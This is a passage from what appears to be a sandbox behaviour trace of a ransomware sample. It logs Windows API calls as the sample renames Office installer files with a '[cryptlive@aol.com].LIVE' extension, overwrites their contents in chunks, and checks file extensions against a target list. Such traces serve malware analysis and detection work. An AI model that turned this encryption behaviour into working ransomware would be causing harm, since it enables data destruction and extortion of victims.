(lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.070] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.070] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=93248) returned 1 [0037.070] CloseHandle (hObject=0x16c) returned 1 [0037.070] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0037.070] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.071] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.071] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=90688) returned 1 [0037.071] CloseHandle (hObject=0x16c) returned 1 [0037.071] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0037.071] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.071] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.071] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=90704) returned 1 [0037.071] CloseHandle (hObject=0x16c) returned 1 [0037.071] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0037.071] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.071] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.072] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=76352) returned 1 [0037.072] CloseHandle (hObject=0x16c) returned 1 [0037.072] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0037.072] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.072] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.072] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=75344) returned 1 [0037.072] CloseHandle (hObject=0x16c) returned 1 [0037.072] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0037.072] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.072] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.427] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0037.428] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0037.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.428] ReadFile (in: hFile=0x178, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.436] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.436] ReadFile (in: hFile=0x178, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.449] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.449] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.449] ReadFile (in: hFile=0x178, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.470] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.470] WriteFile (in: hFile=0x178, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0037.598] SetEndOfFile (hFile=0x178) returned 1 [0037.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3e90048 [0037.598] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.613] WriteFile (in: hFile=0x178, lpBuffer=0x3e90048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3e90048*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.615] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.615] WriteFile (in: hFile=0x178, lpBuffer=0x3e90048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3e90048*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.621] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.621] WriteFile (in: hFile=0x178, lpBuffer=0x3e90048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3e90048*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3e90048 | out: hHeap=0x520000) returned 1 [0037.624] CloseHandle (hObject=0x178) returned 1 [0038.270] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.271] lstrlenW (lpString=".doc") returned 4 [0038.271] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.271] lstrlenW (lpString=".docx") returned 5 [0038.271] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.271] lstrlenW (lpString=".pdf") returned 4 [0038.271] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.271] lstrlenW (lpString=".xls") returned 4 [0038.271] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.271] lstrlenW (lpString=".xlsx") returned 5 [0038.271] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.271] lstrlenW (lpString=".ppt") returned 4 [0038.271] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.271] lstrlenW (lpString=".zip") returned 4 [0038.271] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.271] lstrlenW (lpString=".rar") returned 4 [0038.271] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.271] lstrlenW (lpString=".bz2") returned 4 [0038.271] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.271] lstrlenW (lpString=".7z") returned 3 [0038.271] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.271] lstrlenW (lpString=".dbf") returned 4 [0038.271] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.271] lstrlenW (lpString=".1cd") returned 4 [0038.271] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.271] lstrlenW (lpString=".jpg") returned 4 [0038.271] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.272] lstrlenW (lpString=".doc") returned 4 [0038.272] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.272] lstrlenW (lpString=".docx") returned 5 [0038.272] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.272] lstrlenW (lpString=".pdf") returned 4 [0038.272] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.272] lstrlenW (lpString=".xls") returned 4 [0038.272] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.272] lstrlenW (lpString=".xlsx") returned 5 [0038.272] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.272] lstrlenW (lpString=".ppt") returned 4 [0038.272] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.272] lstrlenW (lpString=".zip") returned 4 [0038.272] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.272] lstrlenW (lpString=".rar") returned 4 [0038.272] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.272] lstrlenW (lpString=".bz2") returned 4 [0038.272] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.272] lstrlenW (lpString=".7z") returned 3 [0038.272] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.272] lstrlenW (lpString=".dbf") returned 4 [0038.272] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.272] lstrlenW (lpString=".1cd") returned 4 [0038.272] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0038.272] lstrlenW (lpString=".jpg") returned 4 [0038.272] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.273] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0038.273] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0038.273] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.273] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2513920) returned 1 [0038.273] CloseHandle (hObject=0x178) returned 1 [0038.273] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0038.273] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.273] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0038.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.274] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0038.274] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.274] ReadFile (in: hFile=0x178, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.663] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.663] ReadFile (in: hFile=0x178, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.674] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.674] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.674] ReadFile (in: hFile=0x178, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.692] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.692] WriteFile (in: hFile=0x178, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0039.213] SetEndOfFile (hFile=0x178) returned 1 [0039.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f520a0 [0039.347] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.347] WriteFile (in: hFile=0x178, lpBuffer=0x3f520a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f520a0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.511] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.511] WriteFile (in: hFile=0x178, lpBuffer=0x3f520a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f520a0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.517] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.517] WriteFile (in: hFile=0x178, lpBuffer=0x3f520a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f520a0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f520a0 | out: hHeap=0x520000) returned 1 [0039.520] CloseHandle (hObject=0x178) returned 1 [0041.168] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0041.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.168] lstrlenW (lpString=".doc") returned 4 [0041.168] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.168] lstrlenW (lpString=".docx") returned 5 [0041.168] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.169] lstrlenW (lpString=".pdf") returned 4 [0041.169] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.169] lstrlenW (lpString=".xls") returned 4 [0041.169] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.169] lstrlenW (lpString=".xlsx") returned 5 [0041.169] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.169] lstrlenW (lpString=".ppt") returned 4 [0041.169] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.169] lstrlenW (lpString=".zip") returned 4 [0041.169] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.169] lstrlenW (lpString=".rar") returned 4 [0041.169] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.169] lstrlenW (lpString=".bz2") returned 4 [0041.169] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.169] lstrlenW (lpString=".7z") returned 3 [0041.169] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.169] lstrlenW (lpString=".dbf") returned 4 [0041.169] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.169] lstrlenW (lpString=".1cd") returned 4 [0041.169] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.169] lstrlenW (lpString=".jpg") returned 4 [0041.169] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.169] lstrlenW (lpString=".doc") returned 4 [0041.169] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.169] lstrlenW (lpString=".docx") returned 5 [0041.169] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.169] lstrlenW (lpString=".pdf") returned 4 [0041.169] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.169] lstrlenW (lpString=".xls") returned 4 [0041.170] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.170] lstrlenW (lpString=".xlsx") returned 5 [0041.170] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.170] lstrlenW (lpString=".ppt") returned 4 [0041.170] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.170] lstrlenW (lpString=".zip") returned 4 [0041.170] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.170] lstrlenW (lpString=".rar") returned 4 [0041.170] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.170] lstrlenW (lpString=".bz2") returned 4 [0041.170] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.170] lstrlenW (lpString=".7z") returned 3 [0041.170] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.170] lstrlenW (lpString=".dbf") returned 4 [0041.170] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.170] lstrlenW (lpString=".1cd") returned 4 [0041.170] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0041.170] lstrlenW (lpString=".jpg") returned 4 [0041.170] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.170] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0041.170] lstrlenW (lpString="WordMUI.msi") returned 11 [0041.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.172] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2522624) returned 1 [0041.172] CloseHandle (hObject=0x178) returned 1 [0041.172] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0041.172] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0041.172] MoveFileW (lpExistingFileName="C:\\MSOCache\\All 